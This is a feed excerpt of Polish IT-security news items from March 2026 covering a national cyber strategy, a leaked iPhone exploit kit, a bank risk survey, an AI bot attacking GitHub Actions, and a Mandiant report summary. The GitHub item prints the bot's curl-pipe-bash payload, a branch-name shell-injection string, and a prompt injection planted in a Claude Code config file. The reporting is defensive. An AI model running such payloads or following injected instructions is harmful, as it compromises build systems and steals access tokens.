Rzand#261;d przekazaand#322; w strategii, and#380;e zaproponuje rand#243;wnieand#380; zmiany prawne, ktand#243;re umoand#380;liwiand#261; opracowanie systemu, ktand#243;ry pozwoli na and#8222;skuteczne utrwalanie treand#347;ci generowanych przez osoby zaangaand#380;owane w dziaand#322;alnoand#347;and#263; terrorystycznand#261; wykorzystujand#261;ce komunikatory internetowe oraz inne and#347;rodki komunikacji interpersonalnejand#8221;. Jak wskazano, taki system band#281;dzie istotnym wsparciem dla organand#243;w and#347;cigania i sand#322;uand#380;b odpowiedzialnych za bezpieczeand#324;stwo paand#324;stwa - umoand#380;liwi im skuteczne wykrywanie, monitorowanie i przeciwdziaand#322;anie zagroand#380;eniom terrorystycznym w cyberprzestrzeni.

















W dokumencie zapowiedziano takand#380;e przegland#261;d przepisand#243;w dotyczand#261;cych odpowiedzialnoand#347;ci karnej za czand#281;and#347;and#263; cyberprzestand#281;pstw - zaproponowane zostanie ich and#8222;urealnienieand#8221;. Sand#322;uand#380;by specjalne miaand#322;yby - wedand#322;ug strategii - zyskaand#263; nowe, and#8222;stosowne i niebudzand#261;ce wand#261;tpliwoand#347;ciand#8221; uprawnienia do prowadzenia dziaand#322;aand#324; w zakresie rozpoznawania, przeciwdziaand#322;ania i zwalczania zagroand#380;eand#324; o charakterze terrorystycznym i zwalczania dziaand#322;alnoand#347;ci obcych sand#322;uand#380;b specjalnych w cyberprzestrzeni. W tym celu zostanand#261; zmienione przepisy Kodeksu karnego - poinformowano.
Strategia zakand#322;ada, and#380;e sand#322;uand#380;by specjalne w zwiand#261;zku z nowymi uprawnieniami zostanand#261; rozbudowane i zyskajand#261; dodatkowe finansowanie. W dokumencie wskazano, and#380;e w strukturze Agencji Bezpieczeand#324;stwa Wewnand#281;trznego (ABW) ma zostaand#263; powoand#322;ana nowa jednostka organizacyjna do rozpoznawania, przeciwdziaand#322;ania i zwalczania cyberterroryzmu i cyberszpiegostwa. Natomiast Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci (CBZC) zostaand#322;o w strategii uznane za waand#380;nand#261; jednostkand#281;, ktand#243;rej potencjaand#322; naleand#380;y rozwijaand#263;.
Rzand#261;d zapowiedziaand#322; rand#243;wnieand#380;, and#380;e zmieni przepisy tak, aby umoand#380;liwiand#263; wprowadzenie tzw. kontratypand#243;w dziaand#322;aand#324; operacyjnych i analitycznych podejmowanych w cyberprzestrzeni przez funkcjonariuszy sand#322;uand#380;b specjalnych i sand#322;uand#380;b o charakterze policyjnym. Kontratypy to inaczej okolicznoand#347;ci wyand#322;and#261;czajand#261;ce bezprawnoand#347;and#263; czynu. Po ich okreand#347;leniu i wprowadzeniu, niektand#243;re dziaand#322;ania sand#322;uand#380;b wypeand#322;niajand#261;ce znamiona przestand#281;pstwa w and#347;wietle prawa, nie byand#322;yby karalne. W dokumencie zaznaczono, and#380;e kontratypy band#281;dand#261; dotyczyand#263; dziaand#322;ania funkcjonariusza, ktand#243;re odbywa siand#281; w ramach jego ustawowych zadaand#324;, sand#322;uand#380;y ochronie interesu publicznego oraz podlega okreand#347;lonym warunkom legalnoand#347;ci i nadzoru, przy zastosowaniu zasady proporcjonalnoand#347;ci. Dziaand#322;anie takie miaand#322;oby byand#263; objand#281;te nadzorem przez sand#261;d lub prokuratora.
and#8222;Umoand#380;liwi to skuteczne and#347;ciganie najpowaand#380;niejszych form cyberprzestand#281;pczoand#347;ci, zapewniajand#261;c jednoczeand#347;nie odpowiedniand#261; ochronand#281; prawnand#261; osobom realizujand#261;cym zadania sand#322;uand#380;bowe z uand#380;yciem stosownych narzand#281;dzi i metod, jednoczeand#347;nie chroniand#263; to band#281;dzie przed naduand#380;yciamiand#8221; - wskazano w strategii.







W walkand#281; z terroryzmem i cyberszpiegostwem ma teand#380; zostaand#263; zaangaand#380;owane polskie and#347;rodowisko naukowe, ktand#243;re miaand#322;oby rozwijaand#263; i wdraand#380;aand#263; nowoczesne technologie sand#322;uand#380;and#261;ce tym celom. Ponadto zapowiedziano, and#380;e kontynuowane band#281;dand#261; zadania zwiand#261;zane z analizowaniem i ograniczaniem rozpowszechniania treand#347;ci propagandowo-dezinformacyjnych w polskiej cyberprzestrzeni. Wskazano, and#380;e rzand#261;d ma teand#380; przeciwdziaand#322;aand#263; rozpowszechnianiu w internecie treand#347;ci o charakterze terrorystycznym oraz wykrywaand#263; wykorzystanie AI do dezinformacji. W zwiand#261;zku z tymi zadaniami rzand#261;d and#8222;w miarand#281; potrzeband#8221; wprowadzi zmiany w przepisach prawa - podano w strategii.
Zaproponowane majand#261; zostaand#263; rand#243;wnieand#380; rozwiand#261;zania legislacyjne dotyczand#261;ce retencjonowania danych oraz przekazywania informacji przez podmioty and#347;wiadczand#261;ce usand#322;ugi w zakresie kryptoaktywand#243;w. Docelowo, and#8222;w dand#322;uand#380;szym horyzoncie czasowymand#8221;, rzand#261;d zaproponuje takand#380;e mechanizmy prawne umoand#380;liwiajand#261;ce and#8222;zamraand#380;anieand#8221; tych aktywand#243;w - czytamy w strategii.
Jednym z celand#243;w dokumentu - wskazano - jest uszczelnienie systemu zwiand#261;zanego z rejestrowaniem kart SIM, tak by nie moand#380;na byand#322;o ich rejestrowaand#263; na band#322;and#281;dne lub fikcyjne dane osobowe. Planowane jest teand#380; uregulowanie rynku odsprzedaand#380;y kart SIM, w tym w serwisach internetowych, m.in. poprzez umoand#380;liwienie blokowania ich przez operatora. Ma to sand#322;uand#380;yand#263; walce z and#8222;powaand#380;nymi cyberprzestand#281;pstwamiand#8221; oraz z cyberszpiegostwem i cyberterroryzmem.
W dokumencie podkreand#347;lono, and#380;e wdroand#380;enie w Polsce unijnego aktu o usand#322;ugach cyfrowych (AI Act) umoand#380;liwi egzekwowanie odpowiedzialnoand#347;ci finansowej platform internetowych, za ktand#243;rych poand#347;rednictwem sand#261; rozpowszechniane naruszajand#261;ce prawo reklamy, w szczegand#243;lnoand#347;ci reklamy przygotowane przez oszustand#243;w, zachand#281;cajand#261;ce do inwestowania w produkty, ktand#243;re nie istniejand#261;. Wdroand#380;enie unijnych przepisand#243;w ma rand#243;wnieand#380; umoand#380;liwiand#263; nakand#322;adanie and#8222;adekwatnych kar finansowychand#8221; na platformy, ktand#243;re wielokrotnie dopuand#347;ciand#322;y siand#281; publikacji oszukaand#324;czych i dezinformujand#261;cych treand#347;ci.







W strategii zapowiedziano rand#243;wnieand#380; przygotowanie rozwiand#261;zaand#324; legislacyjnych, organizacyjnych i technicznych sand#322;uand#380;and#261;cych zwiand#281;kszeniu ochrony uand#380;ytkownikand#243;w internetu - zwand#322;aszcza dzieci i mand#322;odzieand#380;y - przed szkodliwymi i niebezpiecznymi treand#347;ciami. Chodzi m.in. o zwalczanie treand#347;ci przedstawiajand#261;cych wykorzystywanie seksualne dzieci (CSAM), patostreamand#243;w, groomingu (uwodzenie dziecka w internecie - PAP) itp. Zmiany majand#261; umoand#380;liwiand#263; utworzenie i wdroand#380;enie systemu wymiany informacji o wartoand#347;ciach hash, czyli o cyfrowych sygnaturach identyfikujand#261;cych konkretne materiaand#322;y (baza hash). Strategia przewiduje teand#380; utworzenie krajowej bazy materiaand#322;and#243;w przedstawiajand#261;cych wykorzystywanie seksualne dzieci (repozytorium wizerunkand#243;w CSAM).
Dokument zakand#322;ada, and#380;e w zamand#243;wieniach publicznych band#281;dand#261; uwzgland#281;dniane wymogi zwiand#261;zane z cyberbezpieczeand#324;stwem w odniesieniu do produktand#243;w ICT, usand#322;ug ICT i procesand#243;w ICT (teleinformatycznych - PAP). Wskazano takand#380;e, and#380;e sformalizowane zostanie funkcjonowanie Poand#322;and#261;czonego Centrum Operacyjnego Cyberbezpieczeand#324;stwa (PCOC), a docelowo ma ono staand#263; siand#281; centralnand#261; instytucjand#261; zapewniajand#261;cand#261; cyberbezpieczeand#324;stwo na poziomie krajowym. Ma teand#380; zostaand#263; uruchomiona platforma o nazwie Krajowy Cyber Hub (National Cyber Hub, NCH) wspomagajand#261;ca budowanie and#347;wiadomoand#347;ci w sektorze publicznym i prywatnym nt. zagroand#380;eand#324; i incydentand#243;w cyberbezpieczeand#324;stwa. Docelowo platforma ta stanie siand#281; elementem europejskiej sieci komunikacji o zagroand#380;eniach cyberbezpieczeand#324;stwa (European Cybersecurity Alert System). Natomiast w NASK - PIB ma zostaand#263; utworzone Centrum Cyberbezpieczeand#324;stwa NASK (CCN).
W strategii zapowiedziano takand#380;e stworzenie Systemu Bezpiecznej and#321;and#261;cznoand#347;ci Paand#324;stwowej (SBand#321;P) zapewniajand#261;cego wymianand#281; informacji miand#281;dzy organami odpowiedzialnymi za realizacjand#281; zadaand#324; z zakresu zarzand#261;dzania kryzysowego, bezpieczeand#324;stwa paand#324;stwa, ochrony porzand#261;dku publicznego, ratownictwa, ochrony ludnoand#347;ci i obrony cywilnej. Aby podnosiand#263; cyberbezpieczeand#324;stwo w samorzand#261;dach majand#261; powstaand#263; wojewand#243;dzkie zespoand#322;y specjalistand#243;w cyberbezpieczeand#324;stwa dziaand#322;ajand#261;cych lokalnie i wspierajand#261;cych podmioty publiczne m.in. w obsand#322;udze incydentand#243;w i odzyskiwaniu danych.
Zapowiedziano, and#380;e w celu ograniczenia odpand#322;ywu specjalistand#243;w ds. cyberbezpieczeand#324;stwa z sektora publicznego majand#261; zostaand#263; utrzymane rozwiand#261;zania, ktand#243;re zapewniajand#261; konkurencyjne wynagrodzenia w stosunku do sektora prywatnego. Obecnie jest to m.in. dodatek do pensji w postaci and#347;wiadczenia teleinformatycznego.




















Strategia przewiduje rand#243;wnieand#380;, and#380;e programy ksztaand#322;cenia w szkoand#322;ach band#281;dand#261; obejmowaand#263; edukacjand#281; w zakresie cyberbezpieczeand#324;stwa, w tym takand#380;e w zakresie prywatnoand#347;ci i ochrony danych osobowych w internecie. W tym celu majand#261; zostaand#263; zmodyfikowane programy nauczania informatyki w szkoand#322;ach podstawowych i ponadpodstawowych. Wprowadzony miaand#322;aby zostaand#263; nowy zawand#243;d w systemie ksztaand#322;cenia zawodowego, tj. technika cyberbezpieczeand#324;stwa, ktand#243;ry byand#322;by odpowiedzialny za ochronand#281; systemand#243;w informatycznych, sieci komputerowych oraz usand#322;ug i aplikacji, przed zagroand#380;eniami cyfrowymi.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 25 marzec 2026 PAP mbl/ mick/ mmu/ mhr/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Każdy może zhakować twojego IPhona. Wyciekło narzędzie rosyjskich służb ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1656</link>
			<description><![CDATA[ Czarny scenariusz dla cyberbezpieczeand#324;stwa. DarkSword and#8211; zaawansowany zestaw exploitand#243;w wykorzystywany dotand#261;d przez rosyjskie grupy rzand#261;dowe do inwigilacji and#8211; trafiand#322; na GitHub. Od teraz niemal kaand#380;dy, bez specjalistycznej wiedzy, moand#380;e przeprowadziand#263; skuteczny atak na nieaktualizowane iPhone'y i iPady - ostrzegajand#261; eksperci portalu Niebezpiecznik.



and#160;


fot. Wongsakorn /and#160;/and#160;Shutterstock


Jak informujand#261; analitycy z Google oraz Lookout, narzand#281;dzie DarkSword przestaand#322;o byand#263; pilnie strzeand#380;onand#261; broniand#261; cyfrowand#261;. Kod and#378;rand#243;dand#322;owy zestawu exploitand#243;w, ktand#243;ry sand#322;uand#380;yand#322; grupie UNC6353 do operacji na Ukrainie, jest obecnie dostand#281;pny publicznie.
and#8222;Skopiuj i wklejand#8221;, a wiand#281;c bariera wejand#347;cia zniknand#281;and#322;a
and#160;




Najwiand#281;kszym zagroand#380;eniem nie jest sama moc DarkSword, ale prostota jego obsand#322;ugi. Narzand#281;dzie bazuje na technologiach webowych (HTML i JavaScript). W praktyce oznacza to, and#380;e przestand#281;pca nie musi juand#380; budowaand#263; skomplikowanej infrastruktury.and#160;Napastnik umieszcza zand#322;oand#347;liwy kod na przejand#281;tym serwerze (np. na stronie popularnego sklepu, co miaand#322;o miejsce w przypadku serwerand#243;w C2 na Ukrainie). Gdy uand#380;ytkownik iPhoneand#8217;a odwiedzi takand#261; witrynand#281;, proces infekcji nastand#281;puje automatycznie w tle.




and#160;
Co moand#380;e ukraand#347;and#263; DarkSword?
W przeciwieand#324;stwie do oprogramowania typu Pegasus, ktand#243;re sand#322;uand#380;y do dand#322;ugofalowej inwigilacji, DarkSword to narzand#281;dzie typu and#8222;uderz i uciekajand#8221;. Jego celem jest band#322;yskawiczne oprand#243;and#380;nienie urzand#261;dzenia z najcenniejszych danych:


iOS Keychain (pand#281;k kluczy):and#160;Hasand#322;a do kont bankowych, mediand#243;w spoand#322;ecznoand#347;ciowych i sieci Wi-Fi.


Portfele kryptowalutowe:and#160;Funkcja dedykowana kradzieand#380;y cyfrowych aktywand#243;w.


Prywatnoand#347;and#263;:and#160;Historia poand#322;and#261;czeand#324;, wiadomoand#347;ci oraz lista kontaktand#243;w.


Problem skali: Miliony urzand#261;dzeand#324; and#8222;na tacyand#8221;
Problem dotyczy urzand#261;dzeand#324; pracujand#261;cych na systemieand#160;iOS 18and#160;(i starszych), na ktand#243;rych nie aktywowano trybu Lockdown. Wedand#322;ug statystyk Apple, aand#380;and#160;25% uand#380;ytkownikand#243;w wciand#261;and#380; nie przeszand#322;o na nowszand#261; architekturand#281;. Przy miliardowej bazie urzand#261;dzeand#324;, mand#243;wimy o setkach milionand#243;w potencjalnych celand#243;w.
Warto zauwaand#380;yand#263;, and#380;e Apple zmieniand#322;o w miand#281;dzyczasie politykand#281; numeracji systemand#243;w, przeskakujand#261;c bezpoand#347;rednio do iOS 26, aby zsynchronizowaand#263; nazewnictwo z aktualnand#261; datand#261; (rok 2026).
Jak zabezpieczyand#263; swoje finanse i dane?
Eksperci bezpieczeand#324;stwa z Niebezpiecznika wskazujand#261; na dwa kluczowe kroki, ktand#243;re naleand#380;y podjand#261;and#263; natychmiast:


Aktualizacja do iOS 26:and#160;To najskuteczniejsza linia obrony. Dla starszych urzand#261;dzeand#324;, ktand#243;re nie obsand#322;ugujand#261; najnowszego systemu, Apple wydaand#322;oand#160;specjalnand#261; and#322;atkand#281; bezpieczeand#324;stwa (11 marca 2026).


Tryb Blokady (Lockdown Mode):and#160;Jeand#347;li z jakiegoand#347; powodu nie moand#380;esz zaktualizowaand#263; systemu, wand#322;and#261;cz tand#281; funkcjand#281; w ustawieniach prywatnoand#347;ci. Drastycznie ogranicza ona funkcje przegland#261;darki, ktand#243;re wykorzystuje DarkSword do infekcji.


To kolejny tak powaand#380;ny incydent w ostatnim czasie. Niedawno and#347;wiat obiegand#322;a informacja o wycieku exploitpackaand#160;Coruna, co pokazuje, and#380;e profesjonalna broand#324; cybernetyczna coraz czand#281;and#347;ciej wymyka siand#281; spod kontroli twand#243;rcand#243;w i trafia w rand#281;ce pospolitych przestand#281;pcand#243;w.
and#160;
and#160;
and#378;rodand#322;o Bankier.pland#160; 24 marzec 2026and#160; Oprac. AO.

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Stare demony powracają. Jak banki radzą sobie z rosnącym ryzykiem kredytowym i przestępczością finansową? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1655</link>
			<description><![CDATA[ Sektor bankowy przechodzi obecnie przez trudny sprawdzian. Wedand#322;ug 15. edycji raportu "EY Global Bank Risk Management Survey", na horyzoncie znand#243;w wyraand#378;nie zarysowaand#322;y siand#281; tradycyjne zagroand#380;enia, ktand#243;re drastycznie zmieniajand#261; priorytety dziaand#322;ania bankand#243;w na caand#322;ym and#347;wiecie. Mowa tu przede wszystkim o ryzyku kredytowym oraz gwaand#322;townie rosnand#261;cej przestand#281;pczoand#347;ci finansowej. Jak instytucje finansowe planujand#261; stawiand#263; czoand#322;a tym wyzwaniom i jakand#261; roland#281; odegra w tym sztuczna inteligencja?



and#160;


fot. Brian A Jackson /and#160;/and#160;Shutterstock


Ryzyko kredytowe i przestand#281;pczoand#347;and#263; finansowa na celowniku
Z zebranych przez EY danych wynika, and#380;e aand#380; 62% dyrektorand#243;w ds. ryzyka wskazuje na ryzyko kredytowe jako najwiand#281;kszy problem w bieand#380;and#261;cej dziaand#322;alnoand#347;ci bankand#243;w. Obawy te sand#261; napand#281;dzane miand#281;dzy innymi przez rosnand#261;ce ryzyko niewypand#322;acalnoand#347;ci kredytobiorcand#243;w oraz nasilajand#261;cand#261; siand#281; konkurencjand#281; ze strony podmiotand#243;w spoza tradycyjnego sektora bankowego.






and#160;






Rand#243;wnie niepokojand#261;cym trendem jest dynamiczny wzrost przestand#281;pczoand#347;ci finansowej, ktand#243;rand#261; jako powaand#380;ne wyzwanie traktuje juand#380; 43% respondentand#243;w and#8211; to znaczand#261;cy skok rok do roku z poziomu 23%. Szczegand#243;lnie alarmujand#261;ca dynamika dotyczy oszustw cyfrowych, gdzie odsetek wskazaand#324; wzrand#243;sand#322; z zaledwie 23% do aand#380; 59%. W poand#322;and#261;czeniu z cyberbezpieczeand#324;stwem, ktand#243;re pozostaje kluczowym ryzykiem krand#243;tkoterminowym dla 86% instytucji, tworzy to niezwykle wymagajand#261;ce and#347;rodowisko, zagraand#380;ajand#261;ce podstawowym procesom operacyjnym bankand#243;w. Rozwand#243;j technologiczny i aktywa cyfrowe dodatkowo potand#281;gujand#261; te obawy and#8211; aand#380; 78% dyrektorand#243;w ds. ryzyka martwi siand#281; przestand#281;pczoand#347;ciand#261; finansowand#261; wand#322;aand#347;nie w obszarze nowych technologii cyfrowych.
and#160;
Polska na tle globalnych trendand#243;w
Wyzwania te nie omijajand#261; polskiego rynku. Sytuacjand#281; tand#281; opisuje Magda Warpas, partner EY w dziale Doradztwa dla Sektora Finansowego:

wyzwania, przed ktand#243;rymi stojand#261; banki na caand#322;ym and#347;wiecie, dotyczand#261; takand#380;e polskiego rynku. Pomimo, and#380;e w Polsce odsetek kredytand#243;w z opand#243;and#378;nionand#261; spand#322;atand#261; lub wysokim ryzykiem niespand#322;acenia pozostaje stabilny to nadal jest on wyand#380;szy niand#380; and#347;rednia dla Unii Europejskiej. Dodatkowo, nasz system bankowy naleand#380;y do najczand#281;and#347;ciej atakowanych przez cyberprzestand#281;pcand#243;w w Europie. Ta wymagajand#261;ca sytuacja stanowi jednak nie tylko zagroand#380;enie, lecz stwarza takand#380;e okazjand#281; do wzmocnienia odpornoand#347;ci. Jeand#347;li instytucje finansowe podejmand#261; dziand#347; zdecydowane dziaand#322;ania, band#281;dand#261; mogand#322;y w nieodlegand#322;ej przyszand#322;oand#347;ci osiand#261;gnand#261;and#263; przewagand#281; konkurencyjnand#261;.

Sztuczna inteligencja jako nowoczesna tarcza obronna
Aby skutecznie przeciwdziaand#322;aand#263; zagroand#380;eniom i ograniczaand#263; ryzyko operacyjne, banki zwracajand#261; siand#281; ku nowoczesnym technologiom. Zaawansowane rozwiand#261;zania traktowane sand#261; jako priorytet przez 55% dyrektorand#243;w ds. ryzyka. Obecnie sztuczna inteligencja (AI) jest wykorzystywana przede wszystkim do wykrywania oszustw finansowych (61% wskazaand#324;), monitorowania ryzyka cybernetycznego i operacyjnego (41%) oraz modelowania ryzyka kredytowego (33%).



















Mimo tak ogromnego potencjaand#322;u, 72% dyrektorand#243;w przyznaje, and#380;e wdroand#380;enie AI w zarzand#261;dzaniu ryzykiem wciand#261;and#380; znajduje siand#281; dopiero na wczesnym etapie wdraand#380;ania. Gand#322;and#243;wnand#261; barierand#261; w wykorzystaniu algorytmand#243;w pozostaje jakoand#347;and#263; danych, na co wskazuje 80% respondentand#243;w.
Zastosowanie AI staje siand#281; warunkiem koniecznym skutecznego zarzand#261;dzania ryzykiem, zwand#322;aszcza w obszarach takich jak AML/KYC, monitoring czy modelowanie kredytowe. W Polsce banki widzand#261; w niej ogromny potencjaand#322;, ale wciand#261;and#380; napotykajand#261; ograniczenia, takie jak brak odpowiednich kompetencji, szybkoand#347;and#263; zmieniajand#261;cych siand#281; rozwiand#261;zaand#324; i zwiand#261;zane z nimi koszty, trudnoand#347;ci technologiczne czy infrastruktura danych. To jednak nie tylko problem bankand#243;w" - mand#243;wi Magda Warpas.
Wpand#322;yw na rynek pracy i nowe kompetencje
Walka z tradycyjnymi zagroand#380;eniami przy uand#380;yciu nowych technologii wymusza rand#243;wnieand#380; transformacjand#281; organizacyjnand#261; i zmiany profilu pracownika. Najwaand#380;niejszym zestawem kompetencji w obszarze ryzyka sand#261; obecnie umiejand#281;tnoand#347;ci cyfrowe (71%), obejmujand#261;ce znajomoand#347;and#263; technologii, danych, AI i programowania.
Zautomatyzowanie zadaand#324; wykonywanych rand#281;cznie, ktand#243;re planuje wdroand#380;yand#263; aand#380; 64% instytucji, przyniesie nieuniknione zmiany. Prawie 30% respondentand#243;w uwaand#380;a, and#380;e zespoand#322;y ds. ryzyka mogand#261; zmniejszyand#263; siand#281; w ciand#261;gu najbliand#380;szych 3 lat.

Zmiany kadrowe sand#261; nieuniknione dlatego specjaliand#347;ci ds. ryzyka powinni wiand#281;c inwestowaand#263; w swoje umiejand#281;tnoand#347;ci cyfrowe, by pozostaand#263; konkurencyjnymi na rynku pracy, jednoczeand#347;nie liczand#261;c siand#281; z tym, and#380;e zapotrzebowanie na ich usand#322;ugi w najbliand#380;szej przyszand#322;oand#347;ci moand#380;e siand#281; znaczand#261;co zmieniand#263; - ocenia Magda Warpas, partner EY.

Powrand#243;t tradycyjnych zagroand#380;eand#324;, jak ryzyko kredytowe i przestand#281;pczoand#347;and#263; finansowa, zmusza sektor bankowy do radykalnych krokand#243;w. Odpowiedziand#261; jest systematyczne wzmacnianie mechanizmand#243;w ochrony oparte na sztucznej inteligencji. Aby jednak te plany zakoand#324;czyand#322;y siand#281; sukcesem, specjaliand#347;ci ds. ryzyka muszand#261; zainwestowaand#263; w swoje kompetencje cyfrowe, a same instytucje and#8211; skutecznie pokonaand#263; bariery technologiczne.

O badaniu EY Global Bank Risk Management Survey

Badanie EY i IIF objand#281;and#322;o swoim zasiand#281;giem 101 bankand#243;w z 31 krajand#243;w, w tym 30% z Ameryki Pand#243;and#322;nocnej, 20% z regionu Azji i Pacyfiku, 20% z Europy, 20% z Ameryki and#321;aciand#324;skiej oraz 10% z Bliskiego Wschodu i Afryki.and#160;12% badanych to banki o znaczeniu systemowym (G-SIB).


and#378;rodand#322;o Bankier.pland#160; 24 marzec 2026 Oprac. JM ]]></description>
		</item><item>
			<title><![CDATA[ Bot AI przez tydzień hackował projekty na GitHubie. I zhackował ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1654</link>
			<description><![CDATA[ Sztuczna inteligencja nie tylko pisze kod. Zaczand#281;and#322;a go rand#243;wnieand#380; skutecznie atakowaand#263;. Na przeand#322;omie lutego i marca autonomiczny bot o nazwie and#8220;hackerbot-clawand#8221; wziand#261;and#322; sobie na celownik najwiand#281;ksze repozytoria na GitHubie. Oprogramowanie napand#281;dzane przez model Claude-Opus-4.5, samodzielnie skanowaand#322;o publiczne projekty, wykrywaand#322;o luki i skutecznie wyexploitowaand#322;o (RCE) infrastruktury 4 firm, w tym Microsoftu.
Jak wygland#261;da hacking na autopilocie?
Jakand#160;opisujand#261;and#160;sprawand#281; badacze ze StepSecurity, hackerbot-claw na celownik wziand#261;and#322; GitHub Actions and#8212; czyli popularne mechanizmy CI/CD (systemy automatyzacji budowania, testowania i wdraand#380;ania kodu) w tych projektach:
microsoft/ai-discovery-agent and#8205;DataDog/datadog-iac-scanner and#8205;avelino/awesome-go (140k+ stars) ambient-code/platform project-akri/akri (a CNCF project) aquasecurity/trivy (full repository compromise) RustPython/RustPython (20k+ stars)
Bot zawsze wstrzykiwaand#322; ten sam payload:
curl -sSfL hackmoltrepeat.com/molt | bash
Ale 5 rand#243;and#380;nymi wektorami atakuand#8230; Najciekawszym z nich byand#322; tzw. and#8220;Pwn Requestand#8220;. Bot wykorzystaand#322; workflow typu and#8220;pull_request_targetand#8220;, ktand#243;re domyand#347;lnie posiada dostand#281;p do sekretand#243;w docelowego repozytorium. Tworzand#261;c PR, bot wstrzykiwaand#322; zand#322;oand#347;liwy kod (np. do pliku konfiguracyjnego lub nawet w samand#261; nazwand#281; nowej gaand#322;and#281;zi), a serwery budujand#261;ce bezmyand#347;lnie go wykonaand#322;y. W efekcie wykradaand#322; and#8220;GITHUB_TOKENand#8221; z uprawnieniami do zapisu.

Pozostaand#322;e techniki, to m.in. wstrzykiwanie zand#322;oand#347;liwego kodu do skryptand#243;w (np. dodanie funkcji and#8220;init()and#8221; w jand#281;zyku Go), wstrzykiwanie poleceand#324; powand#322;oki (bash) poprzez specjalnie spreparowane nazwy gaand#322;and#281;zi (dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)) lub nazwy plikand#243;w, zawierajand#261;ce zakodowane w Base64 komendy.
Najciekawszym atakiem byand#322;and#160;AI Prompt Injectionand#160;and#8212; bot podmieniand#322; plik konfiguracyjny projektu, z ktand#243;rego korzystaand#322;o narzand#281;dzie and#8220;Claude Codeand#8221; (jako AI do code review), instruujand#261;c swojego and#8220;bliand#378;niakaand#8221;, by sam zatwierdziand#322;a zand#322;oand#347;liwy kod i przepchnand#261;and#322; zmiany! Piand#281;kne, ale to siand#281; akurat nie udaand#322;o, bo na szczand#281;and#347;cie, asystent zachowaand#322; siand#281; wzorowo and#8212; zidentyfikowaand#322; manipulacjand#281; w swoim pliku konfiguracyjnym, odmand#243;wiand#322; wykonania zand#322;oand#347;liwych operacji i opublikowaand#322; komentarz ostrzegajand#261;cy programistand#243;w: and#8220;Do Not Mergeand#8221;.


Przejand#281;cie Trivy i kradzieand#380; tokenand#243;w
Najpowaand#380;niejsze konsekwencje poniand#243;sand#322; projekt Trivy (Aqua Security), ktand#243;ry and#8212; jak na ironiand#281; and#8212; jest skanerem podatnoand#347;ci. Bot z powodzeniem wykradand#322; Personal Access Token o szerokich uprawnieniach i uand#380;yand#322; go, aby:

Przeksztaand#322;ciand#263; repozytorium na prywatne i zmieniand#263; jego nazwand#281;.
Skasowaand#263; wszystkie wydania (GitHub Releases) z kilku lat.
Wypuand#347;ciand#263; podejrzany artefakt jako rozszerzenie Trivy w sklepie Open VSIX (czyli atak na programistand#243;w przez and#8220;and#322;aand#324;cuch dostawand#8221;).
Zostawiand#263; w pliku README.md ironicznand#261; wiadomoand#347;and#263;.


Uand#380;ywam Github Actions, co robiand#263;, jak and#380;yand#263;?
Jeand#347;li zostawicie gdzieand#347; niezabezpieczony workflow w GitHub Actions, prand#281;dzej czy pand#243;and#378;niej odwiedzi go and#8220;autonomiczny badaczand#8221; i zrobi Wam jesieand#324; and#347;redniowiecza w repozytorium. Dlatego

Zawsze stosujcie zasadand#281; najmniejszych uprawnieand#324; dla tokenand#243;w. GITHUB_TOKEN powinien mieand#263; tylko uprawnienia do odczytu (contents: read), chyba and#380;e zapis jest absolutnie konieczny.
Nigdy nie uand#380;ywajcie akcji and#8220;actions/checkoutand#8221; z niezaufanym kodem w poand#322;and#261;czeniu z and#8220;pull_request_targetand#8221;.
Zablokujcie teand#380;and#160;nieautoryzowany ruch sieciowy z maszyn wirtualnych CI/CD (np. wychodzand#261;ce and#380;and#261;dania curl), co zapobiegnie pobraniu zand#322;oand#347;liwego payloadu lub wysand#322;ania w sinand#261; dal wykradzionego tokena.

AI atakuje AI, czyli nowa rzeczywistoand#347;and#263;
Historia bota and#8220;hackerbot-clawand#8221; to dowand#243;d na to, and#380;e zmienia siand#281; krajobraz zagroand#380;eand#324;. Wkroczyliand#347;my w erand#281;, w ktand#243;rej agenty AI atakujand#261; inne agenty AI. Szczegand#243;lnie ciekawy (i przeraand#380;ajand#261;cy) jest tu atak za pomocand#261; wstrzykiwania promptu (Prompt Injection) do pliku konfiguracyjnego.
and#160;
and#160;
and#378;rodand#322;o niebezpiecznik.pl 24 marzec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ To nie AI jest największym zagrożeniem. Czyli raport opisujący incydenty z 2025 roku ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1653</link>
			<description><![CDATA[ Mandiant opublikowaand#322; swand#243;j corocznyand#160;raportand#160;M-Trends. Raport, wbrew oczekiwaniom niektand#243;rych, nie stoi pod znakiem and#8220;AI niszczy and#347;wiatand#8221;. Wnioski sand#261; duand#380;o bardziej prozaiczne, a jednoczeand#347;nie przeraand#380;ajand#261;ce. AI faktycznie pomaga atakujand#261;cym (gand#322;and#243;wnie w socjotechnice i pisaniu malwareand#8217;u omijajand#261;cego detekcjand#281;), ale przytand#322;aczajand#261;ca wiand#281;kszoand#347;and#263; udanych wand#322;amaand#324; to wciand#261;and#380; wynik band#322;and#281;dand#243;w ludzkich i systemowych.
Oto najciekawsze smaczki, ktand#243;re warto znaand#263; z perspektywy Blue Teamand#243;w, Red Teamand#243;w i zwykand#322;ych adminand#243;w (rymy przypadkowe):
Phishing e-mailowy wypierany przez vishing, czyli ataki socjotechniczne przez telefon
To jedna z najwiand#281;kszych zmian w statystykach. Od szeand#347;ciu lat wektorem nr 1 pozostaje wykorzystanie exploitand#243;w (32%). W 2025r. najczand#281;and#347;ciej dziurawiono SAP NetWeaver, Oracle E-Business Suite oraz Microsoft SharePoint. Ale uwaga: wektorem nr 2 nie jest juand#380; klasyczny phishing e-mailowy (spadek z 14% na zaledwie 6%). Na jego miejsce z wynikiem 11% wskoczyand#322; vishing oraz socjotechnika przez komunikatory. Kopsniesz mi 200 ziko blikiem, oddam jutro.
Na trzecim miejscu (10%) jest atak na and#322;aand#324;cuch dostaw lub oprogramowanie firm trzecich (w tym SaaS).

Szyfrowanie startuje po 30 sekundach od ataku
